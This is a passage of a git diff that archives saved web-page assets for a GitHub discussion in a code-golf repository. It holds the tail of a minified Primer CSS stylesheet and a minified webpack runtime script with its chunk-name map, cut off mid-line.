span.align-right>span{display:block;margin:13px 0 0;overflow:hidden;text-align:right}.markdown-body span.align-right span img{margin:0;text-align:right}.markdown-body span.float-left{display:block;float:left;margin-right:13px;overflow:hidden}.markdown-body span.float-left span{margin:13px 0 0}.markdown-body span.float-right{display:block;float:right;margin-left:13px;overflow:hidden}.markdown-body span.float-right>span{display:block;margin:13px auto 0;overflow:hidden;text-align:right}.markdown-body code,.markdown-body tt{padding:.2em .4em;margin:0;font-size:85%;background-color:var(--color-neutral-muted);border-radius:6px}.markdown-body code br,.markdown-body tt br{display:none}.markdown-body del code{text-decoration:inherit}.markdown-body samp{font-size:85%}.markdown-body pre{word-wrap:normal}.markdown-body pre code{font-size:100%}.markdown-body pre>code{padding:0;margin:0;word-break:normal;white-space:pre;background:transparent;border:0}.markdown-body .highlight{margin-bottom:16px}.markdown-body .highlight pre{margin-bottom:0;word-break:normal}.markdown-body .highlight pre,.markdown-body pre{padding:16px;overflow:auto;font-size:85%;line-height:1.45;background-color:var(--color-canvas-subtle);border-radius:6px}.markdown-body pre code,.markdown-body pre tt{display:inline;max-width:auto;padding:0;margin:0;overflow:visible;line-height:inherit;word-wrap:normal;background-color:transparent;border:0}.markdown-body .csv-data td,.markdown-body .csv-data th{padding:5px;overflow:hidden;font-size:12px;line-height:1;text-align:left;white-space:nowrap}.markdown-body .csv-data .blob-num{padding:10px 8px 9px;text-align:right;background:var(--color-canvas-default);border:0}.markdown-body .csv-data tr{border-top:0}.markdown-body .csv-data th{font-weight:600;background:var(--color-canvas-subtle);border-top:0}.markdown-body [data-footnote-ref]::before{content:"["}.markdown-body [data-footnote-ref]::after{content:"]"}.markdown-body .footnotes{font-size:12px;color:var(--color-fg-muted);border-top:1px solid var(--color-border-default)}.markdown-body .footnotes ol{padding-left:16px}.markdown-body .footnotes li{position:relative}.markdown-body .footnotes li:target::before{position:absolute;top:-8px;right:-8px;bottom:-8px;left:-24px;pointer-events:none;content:"";border:2px solid var(--color-accent-emphasis);border-radius:6px}.markdown-body .footnotes li:target{color:var(--color-fg-default)}.markdown-body .footnotes .data-footnote-backref g-emoji{font-family:monospace}.Popover{position:absolute;z-index:100}.Popover-message{position:relative;width:232px;margin-right:auto;margin-left:auto;background-color:var(--color-canvas-overlay);border:1px solid var(--color-border-default);border-radius:6px}.Popover-message::before,.Popover-message::after{position:absolute;left:50%;display:inline-block;content:""}.Popover-message::before{top:-16px;margin-left:-9px;border:8px solid transparent;border-bottom-color:var(--color-border-default)}.Popover-message::after{top:-14px;margin-left:-8px;border:7px solid transparent;border-bottom-color:var(--color-canvas-overlay)}.Popover-message--no-caret::before,.Popover-message--no-caret::after{display:none}.Popover-message--bottom::before,.Popover-message--bottom::after,.Popover-message--bottom-right::before,.Popover-message--bottom-right::after,.Popover-message--bottom-left::before,.Popover-message--bottom-left::after{top:auto;border-bottom-color:transparent}.Popover-message--bottom::before,.Popover-message--bottom-right::before,.Popover-message--bottom-left::before{bottom:-16px;border-top-color:var(--color-border-default)}.Popover-message--bottom::after,.Popover-message--bottom-right::after,.Popover-message--bottom-left::after{bottom:-14px;border-top-color:var(--color-canvas-overlay)}.Popover-message--top-right,.Popover-message--bottom-right{right:-9px;margin-right:0}.Popover-message--top-right::before,.Popover-message--top-right::after,.Popover-message--bottom-right::before,.Popover-message--bottom-right::after{left:auto;margin-left:0}.Popover-message--top-right::before,.Popover-message--bottom-right::before{right:20px}.Popover-message--top-right::after,.Popover-message--bottom-right::after{right:21px}.Popover-message--top-left,.Popover-message--bottom-left{left:-9px;margin-left:0}.Popover-message--top-left::before,.Popover-message--top-left::after,.Popover-message--bottom-left::before,.Popover-message--bottom-left::after{left:24px;margin-left:0}.Popover-message--top-left::after,.Popover-message--bottom-left::after{left:25px}.Popover-message--right::before,.Popover-message--right::after,.Popover-message--right-top::before,.Popover-message--right-top::after,.Popover-message--right-bottom::before,.Popover-message--right-bottom::after,.Popover-message--left::before,.Popover-message--left::after,.Popover-message--left-top::before,.Popover-message--left-top::after,.Popover-message--left-bottom::before,.Popover-message--left-bottom::after{top:50%;left:auto;margin-left:0;border-bottom-color:transparent}.Popover-message--right::before,.Popover-message--right-top::before,.Popover-message--right-bottom::before,.Popover-message--left::before,.Popover-message--left-top::before,.Popover-message--left-bottom::before{margin-top:-9px}.Popover-message--right::after,.Popover-message--right-top::after,.Popover-message--right-bottom::after,.Popover-message--left::after,.Popover-message--left-top::after,.Popover-message--left-bottom::after{margin-top:-8px}.Popover-message--right::before,.Popover-message--right-top::before,.Popover-message--right-bottom::before{right:-16px;border-left-color:var(--color-border-default)}.Popover-message--right::after,.Popover-message--right-top::after,.Popover-message--right-bottom::after{right:-14px;border-left-color:var(--color-canvas-overlay)}.Popover-message--left::before,.Popover-message--left-top::before,.Popover-message--left-bottom::before{left:-16px;border-right-color:var(--color-border-default)}.Popover-message--left::after,.Popover-message--left-top::after,.Popover-message--left-bottom::after{left:-14px;border-right-color:var(--color-canvas-overlay)}.Popover-message--right-top::before,.Popover-message--right-top::after,.Popover-message--left-top::before,.Popover-message--left-top::after{top:24px}.Popover-message--right-bottom::before,.Popover-message--right-bottom::after,.Popover-message--left-bottom::before,.Popover-message--left-bottom::after{top:auto}.Popover-message--right-bottom::before,.Popover-message--left-bottom::before{bottom:16px}.Popover-message--right-bottom::after,.Popover-message--left-bottom::after{bottom:17px}@media(min-width: 544px){.Popover-message--large{min-width:320px}}@media(max-width: 767.98px){.Popover{position:fixed;top:auto !important;right:0 !important;bottom:0 !important;left:0 !important}.Popover-message{top:auto;right:auto;bottom:auto;left:auto;width:auto !important;margin:8px}.Popover-message>.btn-octicon{padding:12px !important}.Popover-message::after,.Popover-message::before{display:none}}.Progress{display:flex;height:8px;overflow:hidden;background-color:var(--color-neutral-muted);border-radius:6px;outline:1px solid transparent}.Progress--large{height:10px}.Progress--small{height:5px}.Progress-item{outline:2px solid transparent}.Progress-item+.Progress-item{margin-left:2px}.SelectMenu{position:fixed;top:0;right:0;bottom:0;left:0;z-index:99;display:flex;padding:16px;pointer-events:none;flex-direction:column}@media(min-width: 544px){.SelectMenu{position:absolute;top:auto;right:auto;bottom:auto;left:auto;padding:0}}.SelectMenu::before{position:absolute;top:0;right:0;bottom:0;left:0;pointer-events:none;content:"";background-color:var(--color-primer-canvas-backdrop)}@media(min-width: 544px){.SelectMenu::before{display:none}}.SelectMenu-modal{position:relative;z-index:99;display:flex;max-height:66%;margin:auto 0;overflow:hidden;pointer-events:auto;flex-direction:column;background-color:var(--color-canvas-overlay);border:1px solid var(--color-select-menu-backdrop-border);border-radius:12px;box-shadow:var(--color-shadow-large);animation:SelectMenu-modal-animation .12s cubic-bezier(0, 0.1, 0.1, 1) backwards}@keyframes SelectMenu-modal-animation{0%{opacity:0;transform:scale(0.9)}}@keyframes SelectMenu-modal-animation--sm{0%{opacity:0;transform:translateY(-16px)}}@media(min-width: 544px){.SelectMenu-modal{width:300px;height:auto;max-height:480px;margin:8px 0 16px 0;font-size:12px;border-color:var(--color-border-default);border-radius:6px;box-shadow:var(--color-shadow-large);animation-name:SelectMenu-modal-animation--sm}}.SelectMenu-header{display:flex;padding:16px;flex:none;align-items:center;border-bottom:1px solid var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-header{padding:7px 7px 7px 16px}}.SelectMenu-title{flex:1;font-size:14px;font-weight:600}@media(min-width: 544px){.SelectMenu-title{font-size:inherit}}.SelectMenu-closeButton{padding:16px;margin:-16px;line-height:1;color:var(--color-fg-muted);background-color:transparent;border:0}@media(min-width: 544px){.SelectMenu-closeButton{padding:8px;margin:-8px -7px}}.SelectMenu-filter{padding:16px;margin:0;border-bottom:1px solid var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-filter{padding:8px}}.SelectMenu-input{display:block;width:100%}@media(min-width: 544px){.SelectMenu-input{font-size:14px}}.SelectMenu-list{position:relative;padding:0;margin:0;margin-bottom:-1px;flex:auto;overflow-x:hidden;overflow-y:auto;background-color:var(--color-canvas-overlay);-webkit-overflow-scrolling:touch}.SelectMenu-item{display:flex;align-items:center;width:100%;padding:16px;overflow:hidden;color:var(--color-fg-default);text-align:left;cursor:pointer;background-color:var(--color-canvas-overlay);border:0;border-bottom:1px solid var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-item{padding-top:7px;padding-bottom:7px}}.SelectMenu-list--borderless .SelectMenu-item{border-bottom:0}.SelectMenu-icon{width:16px;margin-right:8px;flex-shrink:0}.SelectMenu-icon--check{visibility:hidden;transition:transform .12s cubic-bezier(0.5, 0.1, 1, 0.5),visibility 0s .12s linear;transform:scale(0)}.SelectMenu-tabs{display:flex;flex-shrink:0;overflow-x:auto;overflow-y:hidden;box-shadow:inset 0 -1px 0 var(--color-border-muted);-webkit-overflow-scrolling:touch}.SelectMenu-tabs::-webkit-scrollbar{display:none}@media(min-width: 544px){.SelectMenu-tabs{padding:8px 8px 0 8px}}.SelectMenu-tab{flex:1;padding:8px 16px;font-size:12px;font-weight:500;color:var(--color-fg-muted);text-align:center;background-color:transparent;border:0;box-shadow:inset 0 -1px 0 var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-tab{flex:none;padding:4px 16px;border:1px solid transparent;border-bottom-width:0;border-top-left-radius:6px;border-top-right-radius:6px}}.SelectMenu-tab[aria-selected=true]{z-index:1;color:var(--color-fg-default);cursor:default;background-color:var(--color-canvas-overlay);box-shadow:0 0 0 1px var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-tab[aria-selected=true]{border-color:var(--color-border-muted);box-shadow:none}}.SelectMenu-message{padding:7px 16px;text-align:center;background-color:var(--color-canvas-overlay);border-bottom:1px solid var(--color-border-muted)}.SelectMenu-blankslate,.SelectMenu-loading{padding:24px 16px;text-align:center;background-color:var(--color-canvas-overlay)}.SelectMenu-divider{padding:4px 16px;margin:0;font-size:12px;font-weight:500;color:var(--color-fg-muted);background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-muted)}.SelectMenu-list--borderless .SelectMenu-divider{border-top:1px solid var(--color-border-muted)}.SelectMenu-list--borderless .SelectMenu-divider:empty{padding:0;border-top:0}.SelectMenu-footer{z-index:0;padding:8px 16px;font-size:12px;color:var(--color-fg-muted);text-align:center;border-top:1px solid var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-footer{padding:7px 16px}}.SelectMenu--hasFilter .SelectMenu-modal{height:80%;max-height:none;margin-top:0}@media(min-width: 544px){.SelectMenu--hasFilter .SelectMenu-modal{height:auto;max-height:480px;margin-top:8px}}.SelectMenu-closeButton:focus,.SelectMenu-tab:focus,.SelectMenu-item:focus{outline:0}.SelectMenu-item:hover{text-decoration:none}.SelectMenu-item[aria-checked=true]{font-weight:500;color:var(--color-fg-default)}.SelectMenu-item[aria-checked=true] .SelectMenu-icon--check{visibility:visible;transition:transform .12s cubic-bezier(0, 0, 0.2, 1),visibility 0s linear;transform:scale(1)}.SelectMenu-item:disabled,.SelectMenu-item[aria-disabled=true]{color:var(--color-primer-fg-disabled);pointer-events:none}@media(hover: hover){body:not(.intent-mouse) .SelectMenu-closeButton:focus,.SelectMenu-closeButton:hover{color:var(--color-fg-default)}.SelectMenu-closeButton:active{color:var(--color-fg-muted)}body:not(.intent-mouse) .SelectMenu-item:focus,.SelectMenu-item:hover{background-color:var(--color-neutral-subtle)}.SelectMenu-item:active{background-color:var(--color-canvas-subtle)}body:not(.intent-mouse) .SelectMenu-tab:focus{background-color:var(--color-select-menu-tap-focus-bg)}.SelectMenu-tab:hover{color:var(--color-fg-default)}.SelectMenu-tab:not([aria-selected=true]):active{color:var(--color-fg-default);background-color:var(--color-canvas-subtle)}}@media(hover: none){.SelectMenu-item:focus,.SelectMenu-item:active{background-color:var(--color-canvas-subtle)}.SelectMenu-item{-webkit-tap-highlight-color:var(--color-select-menu-tap-highlight)}}.Subhead{display:flex;padding-bottom:8px;margin-bottom:16px;border-bottom:1px solid var(--color-border-muted);flex-flow:row wrap;justify-content:flex-end}.Subhead--spacious{margin-top:40px}.Subhead-heading{font-size:24px;font-weight:400;flex:1 1 auto;order:0}.Subhead-heading--danger{font-weight:600;color:var(--color-danger-fg)}.Subhead-description{font-size:14px;color:var(--color-fg-muted);flex:1 100%;order:2}.Subhead-actions{margin:4px 0 4px 4px;align-self:center;justify-content:flex-end;order:1}.Subhead-actions+.Subhead-description{margin-top:4px}.TimelineItem{position:relative;display:flex;padding:16px 0;margin-left:16px}.TimelineItem::before{position:absolute;top:0;bottom:0;left:0;display:block;width:2px;content:"";background-color:var(--color-border-muted)}.TimelineItem:target .TimelineItem-badge{border-color:var(--color-accent-emphasis);box-shadow:0 0 .2em var(--color-accent-muted)}.TimelineItem-badge{position:relative;z-index:1;display:flex;width:32px;height:32px;margin-right:8px;margin-left:-15px;color:var(--color-fg-muted);align-items:center;background-color:var(--color-timeline-badge-bg);border:2px solid var(--color-canvas-default);border-radius:50%;justify-content:center;flex-shrink:0}.TimelineItem-badge--success{color:var(--color-fg-on-emphasis);background-color:var(--color-success-emphasis);border:1px solid transparent}.TimelineItem-body{min-width:0;max-width:100%;margin-top:4px;color:var(--color-fg-muted);flex:auto}.TimelineItem-avatar{position:absolute;left:-72px;z-index:1}.TimelineItem-break{position:relative;z-index:1;height:24px;margin:0;margin-bottom:-16px;margin-left:-56px;background-color:var(--color-canvas-default);border:0;border-top:4px solid var(--color-border-default)}.TimelineItem--condensed{padding-top:4px;padding-bottom:0}.TimelineItem--condensed:last-child{padding-bottom:16px}.TimelineItem--condensed .TimelineItem-badge{height:16px;margin-top:8px;margin-bottom:8px;color:var(--color-fg-muted);background-color:var(--color-canvas-default);border:0}.Toast{display:flex;margin:8px;color:var(--color-fg-default);background-color:var(--color-canvas-default);border-radius:6px;box-shadow:inset 0 0 0 1px var(--color-border-default),var(--color-shadow-large)}@media(min-width: 544px){.Toast{width:max-content;max-width:450px;margin:16px}}.Toast-icon{display:flex;align-items:center;justify-content:center;width:48px;flex-shrink:0;color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis);border:1px solid transparent;border-right:0;border-top-left-radius:inherit;border-bottom-left-radius:inherit}.Toast-content{padding:16px}.Toast-dismissButton{max-height:54px;padding:16px;color:inherit;background-color:transparent;border:0}.Toast-dismissButton:hover{opacity:.7}.Toast-dismissButton:active{opacity:.5}.Toast--loading{color:var(--color-fg-default);box-shadow:inset 0 0 0 1px var(--color-border-default),var(--color-shadow-large)}.Toast--loading .Toast-icon{background-color:var(--color-neutral-emphasis)}.Toast--error{color:var(--color-fg-default);box-shadow:inset 0 0 0 1px var(--color-border-default),var(--color-shadow-large)}.Toast--error .Toast-icon{background-color:var(--color-danger-emphasis)}.Toast--warning{color:var(--color-fg-default);box-shadow:inset 0 0 0 1px var(--color-border-default),var(--color-shadow-large)}.Toast--warning .Toast-icon{background-color:var(--color-attention-emphasis)}.Toast--success{color:var(--color-fg-default);box-shadow:inset 0 0 0 1px var(--color-border-default),var(--color-shadow-large)}.Toast--success .Toast-icon{background-color:var(--color-success-emphasis)}.Toast--animateIn{animation:Toast--animateIn .18s cubic-bezier(0.22, 0.61, 0.36, 1) backwards}@keyframes Toast--animateIn{0%{opacity:0;transform:translateY(100%)}}.Toast--animateOut{animation:Toast--animateOut .18s cubic-bezier(0.55, 0.06, 0.68, 0.19) forwards}@keyframes Toast--animateOut{100%{pointer-events:none;opacity:0;transform:translateY(100%)}}.Toast--spinner{animation:Toast--spinner 1000ms linear infinite}@keyframes Toast--spinner{from{transform:rotate(0deg)}to{transform:rotate(360deg)}}.ToggleSwitch.ToggleSwitch{display:inline-flex}.ToggleSwitch{align-items:center;display:inline-flex;gap:8px}.ToggleSwitch:hover .ToggleSwitch-knob{background-color:var(--color-btn-hover-bg)}.ToggleSwitch:active .ToggleSwitch-knob{background-color:var(--color-btn-active-bg)}.ToggleSwitch--checked .ToggleSwitch-statusOn{height:auto;visibility:visible}.ToggleSwitch--checked .ToggleSwitch-statusOff{height:0;visibility:hidden}.ToggleSwitch-track{position:relative;display:block;width:64px;height:32px;padding:0;overflow:hidden;text-decoration:none;cursor:pointer;-webkit-user-select:none;user-select:none;background-color:var(--color-switch-track-bg);border:1px solid var(--color-switch-track-border);border-radius:6px;transition-timing-function:cubic-bezier(0.5, 1, 0.89, 1);transition-duration:80ms;transition-property:background-color,border-color;-webkit-appearance:none;appearance:none}.ToggleSwitch-track:focus,.ToggleSwitch-track:focus-visible{outline-offset:0}@media(pointer: coarse){.ToggleSwitch-track::before{position:absolute;top:50%;left:50%;width:100%;height:100%;min-height:44px;content:"";transform:translateX(-50%) translateY(-50%)}}@media(prefers-reduced-motion){.ToggleSwitch-track{transition:none}.ToggleSwitch-track *{transition:none}}.ToggleSwitch-track[aria-checked=true][aria-disabled=true]{background-color:var(--color-canvas-subtle);border-color:var(--color-border-subtle)}.ToggleSwitch-track[aria-checked=true][aria-disabled=true]:hover,.ToggleSwitch-track[aria-checked=true][aria-disabled=true]:active{background-color:var(--color-canvas-subtle)}.ToggleSwitch-track[aria-checked=true][aria-disabled=true]:hover .ToggleSwitch-knob,.ToggleSwitch-track[aria-checked=true][aria-disabled=true]:active .ToggleSwitch-knob{background-color:var(--color-switch-knob-checked-disabled-bg)}.ToggleSwitch-track[aria-checked=true][aria-disabled=true] .ToggleSwitch-knob{background-color:var(--color-switch-knob-checked-disabled-bg)}.ToggleSwitch-track[aria-checked=true]{background-color:var(--color-switch-track-checked-bg);border-color:var(--color-switch-track-checked-border)}.ToggleSwitch-track[aria-checked=true]:hover{background-color:var(--color-switch-track-checked-hover-bg)}.ToggleSwitch-track[aria-checked=true]:active{background-color:var(--color-switch-track-checked-active-bg)}.ToggleSwitch-track[aria-checked=true] .ToggleSwitch-knob{background-color:var(--color-switch-knob-checked-bg);border:0;transform:translateX(calc(100% + 1px))}.ToggleSwitch-track[aria-checked=true] .ToggleSwitch-lineIcon{transform:translateX(0%)}.ToggleSwitch-track[aria-checked=true] .ToggleSwitch-circleIcon{transform:translateX(100%)}.ToggleSwitch-track[aria-disabled=true]{cursor:not-allowed;background-color:var(--color-canvas-subtle);border-color:var(--color-border-subtle);transition-property:none}.ToggleSwitch-track[aria-disabled=true]:hover .ToggleSwitch-knob,.ToggleSwitch-track[aria-disabled=true]:active .ToggleSwitch-knob{background-color:var(--color-btn-bg)}.ToggleSwitch-track[aria-disabled=true] .ToggleSwitch-knob{border-color:var(--color-border-default);box-shadow:none}.ToggleSwitch-track[aria-disabled=true] .ToggleSwitch-knob:hover,.ToggleSwitch-track[aria-disabled=true] .ToggleSwitch-knob:active{background-color:var(--color-btn-bg)}.ToggleSwitch-track[aria-disabled=true] .ToggleSwitch-lineIcon{color:var(--color-fg-subtle)}.ToggleSwitch-track[aria-disabled=true] .ToggleSwitch-circleIcon{color:var(--color-fg-subtle)}.ToggleSwitch-icons{display:flex;align-items:center;width:100%;height:100%;overflow:hidden}.ToggleSwitch-lineIcon{line-height:0;color:var(--color-accent-fg);transition-duration:80ms;transition-property:transform;transform:translateX(-100%);flex:1 0 50%}.ToggleSwitch-circleIcon{line-height:0;color:var(--color-fg-default);transition-duration:80ms;transition-property:transform;transform:translateX(0);flex:1 0 50%}.ToggleSwitch-knob{position:absolute;top:-1px;bottom:-1px;z-index:1;width:50%;background-color:var(--color-btn-bg);border:1px solid var(--color-switch-track-border);border-radius:6px;box-shadow:var(--color-shadow-medium),var(--color-btn-inset-shadow);transition-timing-function:cubic-bezier(0.5, 1, 0.89, 1);transition-duration:80ms;transition-property:transform;transform:translateX(-1px)}@media(prefers-reduced-motion){.ToggleSwitch-knob{transition:none}}.ToggleSwitch-status{position:relative;font-size:14px;line-height:1.5;color:var(--color-fg-default);text-align:right}.ToggleSwitch--small .ToggleSwitch-status{font-size:12px}.ToggleSwitch--small .ToggleSwitch-track{width:48px;height:24px}.ToggleSwitch--disabled .ToggleSwitch-status{color:var(--color-fg-muted)}.ToggleSwitch-statusOn{height:0;visibility:hidden}.ToggleSwitch-statusOff{height:auto;visibility:visible}.ToggleSwitch--statusAtEnd{flex-direction:row-reverse}.ToggleSwitch--statusAtEnd .ToggleSwitch-status{text-align:left} + +/*# sourceMappingURL=primer-048cfb03804d.css.map*/ \ No newline at end of file diff --git a/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/runtime-65b3abbb8226.js b/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/runtime-65b3abbb8226.js new file mode 100644 index 0000000..3c9544b --- /dev/null +++ b/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/runtime-65b3abbb8226.js @@ -0,0 +1,4 @@ +(()=>{var S=Object.defineProperty;var u=(g,b)=>S(g,"name",{value:b,configurable:!0});(()=>{"use strict";var g={},b={};function t(e){var o=b[e];if(o!==void 0)return o.exports;var _=b[e]={id:e,loaded:!1,exports:{}};return g[e].call(_.exports,_,_.exports,t),_.loaded=!0,_.exports}u(t,"__webpack_require__"),t.m=g,(()=>{var e=[];t.O=(o,_,a,n)=>{if(_){n=n||0;for(var s=e.length;s>0&&e[s-1][2]>n;s--)e[s]=e[s-1];e[s]=[_,a,n];return}for(var p=1/0,s=0;s=n)&&Object.keys(t.O).every(H=>t.O[H](_[i]))?_.splice(i--,1):(r=!1,n{var o=e&&e.__esModule?()=>e.default:()=>e;return t.d(o,{a:o}),o},(()=>{var e=Object.getPrototypeOf?_=>Object.getPrototypeOf(_):_=>_.__proto__,o;t.t=function(_,a){if(a&1&&(_=this(_)),a&8||typeof _=="object"&&_&&(a&4&&_.__esModule||a&16&&typeof _.then=="function"))return _;var n=Object.create(null);t.r(n);var s={};o=o||[null,e({}),e([]),e(e)];for(var p=a&2&&_;typeof p=="object"&&!~o.indexOf(p);p=e(p))Object.getOwnPropertyNames(p).forEach(r=>s[r]=()=>_[r]);return s.default=()=>_,t.d(n,s),n}})(),t.d=(e,o)=>{for(var _ in o)t.o(o,_)&&!t.o(e,_)&&Object.defineProperty(e,_,{enumerable:!0,get:o[_]})},t.f={},t.e=e=>Promise.all(Object.keys(t.f).reduce((o,_)=>(t.f[_](e,o),o),[])),t.u=e=>e==="vendors-node_modules_selector-observer_dist_index_esm_js"?""+e+"-8a8fb532f817.js":e==="vendors-node_modules_virtualized-list_es_index_js-node_modules_github_template-parts_lib_index_js"?""+e+"-c86dedecba6d.js":e==="vendors-node_modules_github_mini-throttle_dist_decorators_js-node_modules_github_catalyst_lib-6e1996"?""+e+"-3878570f122b.js":e==="app_assets_modules_github_command-palette_items_help-item_ts-app_assets_modules_github_comman-7e29fd"?""+e+"-b9402c4f55ed.js":e==="vendors-node_modules_lit-html_lit-html_js"?""+e+"-ba8ef7c9465c.js":e==="vendors-node_modules_primer_behaviors_dist_esm_focus-zone_js"?""+e+"-338b7b65f61e.js":e==="vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe"?""+e+"-12cdb93781b2.js":e==="vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_hotkey_dist_index-9f48bd"?""+e+"-d2bd677ffadf.js":e==="app_assets_modules_github_behaviors_pjax_ts"?""+e+"-9f84f27e2e5c.js":e==="vendors-node_modules_date-fns_esm__lib_assign_index_js-node_modules_date-fns_esm__lib_getTime-5cc5c7"?""+e+"-e5871d6341d9.js":e==="vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"?""+e+"-c50ba3159c37.js":e==="vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"?""+e+"-316d55757fd3.js":e==="vendors-node_modules_codemirror_lib_codemirror_js"?""+e+"-0e675a3cbbdb.js":e==="vendors-node_modules_three_build_three_module_js"?""+e+"-d26576a099b1.js":e==="vendors-node_modules_dompurify_dist_purify_js"?""+e+"-0677fca37991.js":"chunk-"+e+"-"+{"vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js":"ffef934f6d1e","vendors-node_modules_blakejs_index_js-node_modules_tweetnacl_nacl-fast_js":"20ded1c3f9b2","_empty-file_js-app_assets_modules_github_tweetsodium_ts":"570800e4a58c","app_assets_modules_github_jump-to_ts":"9bb6962425bc","app_assets_modules_github_user-status-submit_ts":"b84397a4ac61","vendors-node_modules_github_blackbird-parser_dist_blackbird_js":"edcc67677b51","app_components_search_parsing_parsing_ts-_b3651":"aa493d973ae3","app_assets_modules_github_sortable-behavior_ts":"cd5461703766","app_components_accessibility_animated-image-element_ts":"94f17dc1685d","app_components_account_verifications_launch-code-element_ts":"d0fd2937b212","app_components_advisories_metric-selection-element_ts":"4daf4af581d1","app_components_advisories_severity-calculator-element_ts":"420add2d60b0","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c52":"27a93e9feadc","app_components_branch_create-branch-element_ts":"47c73f958638","app_components_code_scanning_alert-dismissal-details-element_ts":"bfe6b385324e","app_components_codespaces_advanced_options_sku-list-element_ts":"ceaa5115fdcc","app_components_codespaces_create-button-element_ts":"d1ca5c6d0c0b","app_components_command_palette_command-palette-page-element_ts":"529a5c0079af","app_components_command_palette_command-palette-page-stack-element_ts":"51f9b6fbafdf","app_components_diffs_deferred-diff-lines-element_ts":"74cc226b15d7","app_components_files_readme-toc-element_ts":"1e5835991a94","app_components_github_delayed-loading-element_ts":"f1de276bb7aa","app_components_github_feature-callout-element_ts":"2e2e8020e6ac","app_components_issues_reopen-button-element_ts":"8528a7c35aa7","app_components_mathjax_math-renderer-element_ts":"b9b794ce9879","app_components_organizations_settings_codespaces_policy_form_constraint_row_max-value-element_ts":"d970b5ecb0bb","app_components_organizations_settings_codespaces-policy-form-element_ts":"1e572db4e753","app_components_organizations_settings_features_insights-form-element_ts":"fb80816ea539","app_components_primer_action_list_action-list-element_ts":"79601d8e2624","app_components_primer_action_menu_action-menu-element_ts":"c2ea03248767","app_components_primer_experimental_toggle-switch-element_ts":"bc0f9dc31330","app_components_primer_modal_dialog_iterate-focusable-elements_ts":"c9e90cad64bc","app_components_primer_modal_dialog_modal-dialog-element_ts":"191000849018","app_components_pull_requests_file_tree_file-filter-element_ts":"832274f35bf2","app_components_pull_requests_file_tree_file-tree-element_ts":"f3152f4f0a04","app_components_pull_requests_file_tree_file-tree-toggle-element_ts":"ef3d053b90c4","app_components_repos_alerts_dependabot-alert-row-element_ts":"4b2c2c17a666","app_components_repos_alerts_dependabot-alert-table-header-element_ts":"7a8a0e5e816e","app_components_repositories_memex_memex-project-picker-element_ts":"53ed3ef415f5","app_components_repositories_pin-organization-repo-element_ts":"8169732f40ca",app_components_search_parsing_common_ts:"669dbaaac99c","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-d30067":"10d0e2f3411a","app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_di-aef89c":"2e9a9b96b433","app_components_search_search-input-element_ts":"c662cde7b457",app_components_search_suggestions_blackbird_ts:"9d3f0b9a1660","app_components_search_suggestions_custom-scopes_ts":"df25852e3ad8",app_components_search_suggestions_default_ts:"1e7083750a58","app_components_search_suggestions_fixed-qualifiers_ts":"f3da35af54f7",app_components_search_suggestions_history_ts:"5b7778d3b8d2",app_components_search_suggestions_languages_ts:"f8f91a6927a5","node_modules_delegated-events_dist_index_js":"a5f42cedc533",app_components_search_suggestions_suggestions_ts:"07b36587481e",app_components_search_suggestions_types_ts:"916e3d8c45b4","vendors-node_modules_github_catalyst_lib_index_js-node_modules_github_memoize_dist_esm_index_-4f373e":"625e7dd04142","app_components_sidebar_project-picker-element_ts":"a7445ee5bcf3","app_components_slash_commands_slash-command-toolbar-button-element_ts":"447765607cc3","vendors-node_modules_chart_js_dist_chart_esm_js":"6cff96b2b76c","app_components_sponsors_orgs_premium_dashboard_monthly-spend-graph-element_ts":"5b02ffbbc782","app_components_stafftools_turbo_turbo-staffbar-element_ts":"22fa02e1f021","app_components_stafftools_turbo_turbo-staffbar-preview-element_ts":"302a5111f0a7","app_components_themed_pictures_themed-picture-element_ts":"9f2cc0c8b0fc","app_components_tracking_blocks_tracking-block-api_ts":"d2edfcc3fd5a","app_components_tracking_blocks_tracking-block-element_ts":"1bf94db855a2","app_components_tracking_blocks_tracking-block-omnibar-element_ts":"f776363d9b1c","app_assets_modules_github_profile_profile-pins-element_ts":"3f9eaf9c1f60","app_assets_modules_github_emoji-picker-element_ts":"5eb690ad8ba2","app_assets_modules_github_behaviors_edit-hook-secret-element_ts":"5517e7abe783","app_assets_modules_github_insights_insights-query_ts":"1d49b290a0a9","app_assets_modules_github_behaviors_remote-clipboard-copy_ts":"5ec315b1456a","app_assets_modules_github_insights_series-table_ts":"88c40e967d3d","vendors-node_modules_github_base-chart-element_dist_base-chart_js":"527a851d4dfc","app_assets_modules_github_insights_line-chart_ts":"ea9f86c8b7ce","app_assets_modules_github_insights_bar-chart_ts":"79b8bed29df1","app_assets_modules_github_insights_column-chart_ts":"5086ae8267a3","app_assets_modules_github_insights_stacked-area-chart_ts":"f2b10cc42f1b","app_assets_modules_github_presence_presence-avatars_ts":"68eea861e2bd","app_assets_modules_github_graphs_pulse-authors-graph-element_ts":"555a0a12a2af","app_assets_modules_github_stacks_stacks-input-config-view_ts":"52b337e4e085","app_assets_modules_github_graphs_community-contributions_ts":"d1497b6d575f","app_assets_modules_github_graphs_discussion-page-views_ts":"b7b14d0a8e16","app_assets_modules_github_graphs_discussions-daily-contributors_ts":"ae3978791f6f","app_assets_modules_github_graphs_discussions-new-contributors_ts":"b53affc543a7","app_assets_modules_github_graphs_code-frequency-graph-element_ts":"bb79cb796c54","vendors-node_modules_d3-transition_src_index_js-node_modules_github_catalyst_lib_index_js":"cb8